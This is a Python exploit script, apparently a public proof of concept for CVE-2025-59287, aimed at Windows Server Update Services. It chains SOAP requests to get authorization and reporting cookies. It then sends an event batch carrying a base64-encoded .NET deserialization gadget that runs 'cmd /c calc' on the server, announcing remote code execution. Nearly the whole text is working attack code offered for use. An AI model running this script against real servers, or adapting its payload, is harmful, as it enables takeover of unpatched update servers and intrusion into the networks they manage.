#!/usr/bin/env python3 import requests import urllib3 import xml.etree.ElementTree as ET from datetime import datetime, timezone import sys import uuid from xml.sax.saxutils import escape urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def get_auth_cookie(target, server_id=None): url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx" headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', 'Content-Type': 'text/xml'} if server_id is None: server_id = str(uuid.uuid4()) soap_body = f''' {server_id} hawktrace.local ''' try: response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) if response.status_code == 200: root = ET.fromstring(response.text) for elem in root.iter(): if 'CookieData' in elem.tag and elem.text: print(f"[+] Using ID: {server_id}") return elem.text except Exception as e: print(f"[-] Auth cookie error: {e}") return None def get_server_id(target): url = f"{target}/ReportingWebService/ReportingWebService.asmx" headers = { 'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"', 'Content-Type': 'text/xml' } soap_body = ''' ''' try: response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) if response.status_code == 200: root = ET.fromstring(response.text) for elem in root.iter(): if 'ServerId' in elem.tag and elem.text: print(f"[+] Server ID: {elem.text}") return elem.text except Exception as e: print(f"[-] Server ID error: {e}") fallback_id = str(uuid.uuid4()) print(f"[!] Using fallback ID: {fallback_id}") return fallback_id def get_reporting_cookie(target, auth_cookie): url = f"{target}/ClientWebService/Client.asmx" headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', 'Content-Type': 'text/xml'} timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ') soap_body = f''' SimpleTargeting {auth_cookie} {timenow} {timenow} 1.20 ''' try: response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) if response.status_code == 200: root = ET.fromstring(response.text) cookie_data = {} for elem in root.iter(): if 'Expiration' in elem.tag: cookie_data['expiration'] = elem.text elif 'EncryptedData' in elem.tag: cookie_data['encrypted_data'] = elem.text if 'encrypted_data' in cookie_data: return cookie_data except: pass return None def send_malicious_event(target, cookie): url = f"{target}/ReportingWebService/ReportingWebService.asmx" target_sid = str(uuid.uuid4()) event_instance_id = str(uuid.uuid4()) timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3] popcalc = '''Binaryfalse1033false1AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==''' soap_body = f''' {cookie['expiration']} {cookie['encrypted_data']} {timenow} {target_sid} 0 {timenow} {event_instance_id} 2 389 301 00000000-0000-0000-0000-000000000000 0 0 LocalServer Administrator=SYSTEM SynchronizationUpdateErrorsKey={escape(popcalc)} ''' headers = { 'Connection': 'Keep-Alive', 'Content-Type': 'text/xml', 'Accept': 'text/xml', 'User-Agent': 'Windows-Update-Agent', 'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"', 'Host': target.replace('http://', '').replace('https://', '') } try: response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) if response.status_code == 200 and 'true' in response.text: return True, event_instance_id, target_sid else: return False, None, None except Exception as e: print(f"[DEBUG] Exception: {e}") return False, None, None def main(): if len(sys.argv) < 2: print("Usage: python HawkTrace.py ") print("Example: python HawkTrace.py http://192.168.1.100:8530") sys.exit(1) target = sys.argv[1] print(r""" _ _ _ | | | | | | | |__ __ ___ _| | _| |_ _ __ __ _ ___ ___ | '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \ | | | | (_| |\ V V /| <| |_| | | (_| | (_| __/ |_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___| Batuhan Er @int20z CVE-2025-59287 """) print() print("[+] Getting Server ID...") server_id = get_server_id(target) print("[+] Auth cookie with Server ID...") auth_cookie = get_auth_cookie(target, server_id) if not auth_cookie: print("[-] Failed") return cookie = get_reporting_cookie(target, auth_cookie) if not cookie: print("[-] Failed") return print("[+] Sending event with payload...") success, event_id, target_sid = send_malicious_event(target, cookie) if success: print("[+] SUCCESS!") print("[!] RCE will trigger!") else: print("[-] Failed") if __name__ == "__main__": main()